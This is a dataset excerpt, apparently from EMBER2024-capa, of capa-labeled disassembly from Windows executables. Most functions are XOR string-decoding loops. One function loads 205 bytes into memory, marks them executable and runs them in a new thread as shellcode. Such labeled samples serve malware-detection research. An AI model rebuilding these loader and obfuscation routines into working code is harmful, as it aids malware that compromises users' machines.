joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400820e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x140082114
mov eax, esi
lea ecx, [rax + 0x78]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x140082100
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140018560
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140082139
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140020070
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400821b3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400821ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400821ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400979c4
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1400821c0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 0xb], bl
je 0x1400821f4
mov ecx, ebx
lea eax, [rcx + 0x78]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 0xa
jb 0x1400821e0
mov byte [r8 + 0xb], bl
add r8, 0xa
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.140018560
nop
cmp byte [rdi + 0xb], 0
je 0x140082224
lea eax, [rbx + 0x78]
xor byte [rdi + rbx], al
inc rbx
cmp rbx, 0xa
jb 0x140082211
mov byte [rdi + 0xb], 0
lea r8, [rdi + 0xa]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140018560
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.140087dc0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140082294
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008228e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008228e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400979c4
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400822d4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400979c4
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400822e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x140082314
mov eax, esi
lea ecx, [rax + 0x78]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x140082300
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140018560
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140082339
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140020070
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400823b3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400823ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400823ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400979c4
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140088e40
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 6], al
je 0x140088e73
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x78]
xor byte [rdx + rax], cl
inc rax
cmp rax, 5
jb 0x140088e60
mov byte [rdx + 6], 0
lea r8, [rdx + 5]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140018560
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140088e90
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 8], al
je 0x140088ec3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x78]
xor byte [rdx + rax], cl
inc rax
cmp rax, 7
jb 0x140088eb0
mov byte [rdx + 8], 0
lea r8, [rdx + 7]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140018560
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140088ee0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 9], al
je 0x140088f13
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x78]
xor byte [rdx + rax], cl
inc rax
cmp rax, 8
jb 0x140088f00
mov byte [rdx + 9], 0
lea r8, [rdx + 8]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140018560
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140088f30
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0xb], al
je 0x140088f63
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x78]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xa
jb 0x140088f50
mov byte [rdx + 0xb], 0
lea r8, [rdx + 0xa]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140018560
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140089470
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x1400d9040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
xor eax, eax
xor r9d, r9d
mov qword [r11 - 0x28], rax
xor r8d, r8d
movups xmmword [r11 - 0x58], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
movups xmmword [r11 - 0x48], xmm0
mov dword [rsp + 0x28], edx
movups xmmword [r11 - 0x78], xmm0
mov dword [rsp + 0x20], edx
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x38], xmm0
mov dword [rsp + 0x70], 0x68
mov dword [r11 - 0x4c], 1
mov word [r11 - 0x48], dx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140089533
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140097960
add rsp, 0xf8
ret
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140097960
add rsp, 0xf8
ret

Function at 0x140089f10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x16], 0
je 0x140089f33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x78]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x15
jb 0x140089f20
mov byte [rcx + 0x16], 0
mov rax, rcx
ret

Function at 0x140089f40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1b], 0
je 0x140089f63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x78]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x1a
jb 0x140089f50
mov byte [rcx + 0x1b], 0
mov rax, rcx
ret

Function at 0x140089f70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x20], 0
je 0x140089f93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x78]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x1f
jb 0x140089f80
mov byte [rcx + 0x20], 0
mov rax, rcx
ret

Function at 0x140089fa0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x32], 0
je 0x140089fc3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x78]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x31
jb 0x140089fb0
mov byte [rcx + 0x32], 0
mov rax, rcx
ret

Function at 0x140089fd0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x140089ff3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x78]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x43
jb 0x140089fe0
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x14008a000
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x14008a023
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x78]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0x46
jb 0x14008a010
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x140096980
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r8d, dword [rcx + 0x28]
mov rdi, rdx
mov rbx, rcx
cmp r8d, 0x40
jae 0x140096b38
lea ecx, [r8*8]
mov qword [rsp + 0x30], rsi
add qword [rbx], rcx
mov byte [r8 + rbx + 0x2c], 0x80
mov eax, dword [rbx + 0x28]
inc eax
mov dword [rbx + 0x28], eax
cmp eax, 0x38
jbe 0x1400969f8
cmp eax, 0x40
jae 0x1400969e2
nop word [rax + rax]
mov byte [rax + rbx + 0x2c], 0
mov eax, dword [rbx + 0x28]
inc eax
mov dword [rbx + 0x28], eax
cmp eax, 0x40
jb 0x1400969d0
lea rsi, [rbx + 0x2c]
mov rcx, rbx
mov rdx, rsi
call fcn.140096c60
xor eax, eax
mov dword [rbx + 0x28], eax
jmp 0x140096a00
lea rsi, [rbx + 0x2c]
jae 0x140096a12
nop
mov byte [rax + rbx + 0x2c], 0
mov eax, dword [rbx + 0x28]
inc eax
mov dword [rbx + 0x28], eax
cmp eax, 0x38
jb 0x140096a00
movzx eax, byte [rbx + 7]
mov rdx, rsi
mov byte [rbx + 0x64], al
mov rcx, rbx
movzx eax, byte [rbx + 6]
mov byte [rbx + 0x65], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 0x66], al
movzx eax, byte [rbx + 4]
mov byte [rbx + 0x67], al
movzx eax, byte [rbx + 3]
mov byte [rbx + 0x68], al
movzx eax, byte [rbx + 2]
mov byte [rbx + 0x69], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 0x6a], al
movzx eax, byte [rbx]
mov byte [rbx + 0x6b], al
call fcn.140096c60
movzx eax, byte [rbx + 0xb]
mov byte [rdi], al
movzx eax, byte [rbx + 0xa]
mov byte [rdi + 1], al
movzx eax, byte [rbx + 9]
mov byte [rdi + 2], al
movzx eax, byte [rbx + 8]
mov byte [rdi + 3], al
movzx eax, byte [rbx + 0xf]
mov byte [rdi + 4], al
movzx eax, byte [rbx + 0xe]
mov byte [rdi + 5], al
movzx eax, byte [rbx + 0xd]
mov byte [rdi + 6], al
movzx eax, byte [rbx + 0xc]
mov byte [rdi + 7], al
movzx eax, byte [rbx + 0x13]
mov byte [rdi + 8], al
movzx eax, byte [rbx + 0x12]
mov byte [rdi + 9], al
movzx eax, byte [rbx + 0x11]
mov byte [rdi + 0xa], al
movzx eax, byte [rbx + 0x10]
mov byte [rdi + 0xb], al
movzx eax, byte [rbx + 0x17]
mov byte [rdi + 0xc], al
movzx eax, byte [rbx + 0x16]
mov byte [rdi + 0xd], al
movzx eax, byte [rbx + 0x15]
mov byte [rdi + 0xe], al
movzx eax, byte [rbx + 0x14]
mov byte [rdi + 0xf], al
movzx eax, byte [rbx + 0x1b]
mov byte [rdi + 0x10], al
movzx eax, byte [rbx + 0x1a]
mov byte [rdi + 0x11], al
movzx eax, byte [rbx + 0x19]
mov byte [rdi + 0x12], al
movzx eax, byte [rbx + 0x18]
mov byte [rdi + 0x13], al
movzx eax, byte [rbx + 0x1f]
mov byte [rdi + 0x14], al
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 0x15], al
movzx eax, byte [rbx + 0x1d]
mov byte [rdi + 0x16], al
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 0x17], al
movzx eax, byte [rbx + 0x23]
mov byte [rdi + 0x18], al
movzx eax, byte [rbx + 0x22]
mov byte [rdi + 0x19], al
movzx eax, byte [rbx + 0x21]
mov byte [rdi + 0x1a], al
movzx eax, byte [rbx + 0x20]
mov byte [rdi + 0x1b], al
movzx eax, byte [rbx + 0x27]
mov byte [rdi + 0x1c], al
movzx eax, byte [rbx + 0x26]
mov byte [rdi + 0x1d], al
movzx eax, byte [rbx + 0x25]
mov byte [rdi + 0x1e], al
movzx eax, byte [rbx + 0x24]
mov rsi, qword [rsp + 0x30]
mov byte [rdi + 0x1f], al
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140096b50
Capabilities:
Hash data using sha256

Disassembly:
xor eax, eax
mov qword [rcx + 0x24], 0x5be0cd19
mov qword [rcx], rax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
ret
Function at 0x140097354
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14009738e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140097393
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400973dc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14009e3e0]
cmp byte [rcx + rax], 0
je 0x1400973dc
dec r8
sub rdx, 1
jne 0x1400973c2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140098794
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400987de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400987de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400987de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400987de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400987de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400987e0
xor al, al
add rsp, 0x28
ret
Function at 0x140003430
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x80
mov qword [r11 - 0x48], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov rax, qword [0x140023008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov qword [r11 - 0x40], rcx
or esi, 0xffffffff
mov qword [r11 - 0x58], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
lea edx, [rsi + 5]
lea r8d, [rsi + 3]
lea rcx, str.C:WindowsTemp_servicelog.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003562
lea r9d, [rsi + 3]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x140003558
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140005570
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor esi, esi
mov rax, qword [rsp + 0x70]
cmp rax, 0x10
jb 0x140003558
inc rax
mov rcx, qword [rsp + 0x58]
cmp rax, 0x1000
jb 0x140003553
test cl, 0x1f
je 0x140003526
call fcn.140009ab8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140003535
call fcn.140009ab8
int3
sub rcx, rax
cmp rcx, 8
jae 0x140003544
call fcn.140009ab8
int3
cmp rcx, 0x27
jbe 0x140003550
call fcn.140009ab8
int3
mov rcx, rax
call fcn.1400059e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbx + 0x18]
cmp rax, 0x10
jb 0x1400035b7
inc rax
mov rcx, qword [rbx]
cmp rax, 0x1000
jb 0x1400035b2
test cl, 0x1f
je 0x140003585
call fcn.140009ab8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140003594
call fcn.140009ab8
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400035a3
call fcn.140009ab8
int3
cmp rcx, 0x27
jbe 0x1400035af
call fcn.140009ab8
int3
mov rcx, rax
call fcn.1400059e0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, esi
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140005980
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000930c
Capabilities:
Allocate thread local storage

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
lea r9, str.FlsAlloc
xor ecx, ecx
lea r8, [0x140018680]
lea rdx, str.FlsAlloc
call fcn.140009134
mov rbx, rax
test rax, rax
je 0x14000934c
mov rcx, rax
call fcn.140006604
mov rcx, rdi
call rbx
jmp 0x140009352
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400093b4
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
lea r9, str.FlsGetValue
mov ecx, 2
lea r8, [0x1400186a8]
lea rdx, str.FlsGetValue
call fcn.140009134
mov rdi, rax
test rax, rax
je 0x1400093f5
mov rcx, rax
call fcn.140006604
mov ecx, ebx
call rdi
jmp 0x1400093fd
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140009408
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, str.FlsSetValue
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x1400186c0]
call fcn.140009134
mov rsi, rax
test rax, rax
je 0x140009454
mov rcx, rax
call fcn.140006604
mov rdx, rbx
mov ecx, edi
call rsi
jmp 0x14000945f
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000bdd8
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000bc63
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bc63
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bc63
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bc63
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bc63
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bc63
cmp dword [rcx + 0xf8], 0
je 0x14000bc63
mov ecx, ebx
call fcn.14000bd04
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000bae0
cmp dword [rbp + 0x20], 0
je 0x14000bcb0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000bcb8
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000bbfc
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x120
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x110], rax
lea rcx, [0x140003260]
mov dword [rsp + 0x30], 0
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x40]
mov r9d, 4
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov r8d, 0x3000
mov rax, qword [rcx + 0x40]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmmword [rdx + 0x30], xmm0
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
mov dword [rdx + 0x48], eax
movzx eax, word [rcx + 0x4c]
xor ecx, ecx
mov word [rdx + 0x4c], ax
mov edx, 0xcd
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [rsp + 0x40]
mov edx, 0xcd
movups xmm0, xmmword [rcx]
mov rbx, rax
mov r8d, 0x20
movups xmm1, xmmword [rcx + 0x10]
lea r9, [rax + 0x80]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax + 0x60], xmm0
mov rax, qword [rcx + 0x40]
movups xmm0, xmmword [rcx]
movups xmmword [r9 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r9], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r9 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r9 + 0x20], xmm0
movups xmmword [r9 + 0x30], xmm1
mov qword [r9 + 0x40], rax
mov eax, dword [rcx + 0x48]
mov dword [r9 + 0x48], eax
movzx eax, byte [rcx + 0x4c]
mov rcx, rbx
mov byte [r9 + 0x4c], al
lea r9, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.1400011d0
add rsp, 0x120
pop rbx
ret
Function at 0x140001a98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ae2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ae2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ae2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ae2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ae2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ae4
xor al, al
add rsp, 0x28
ret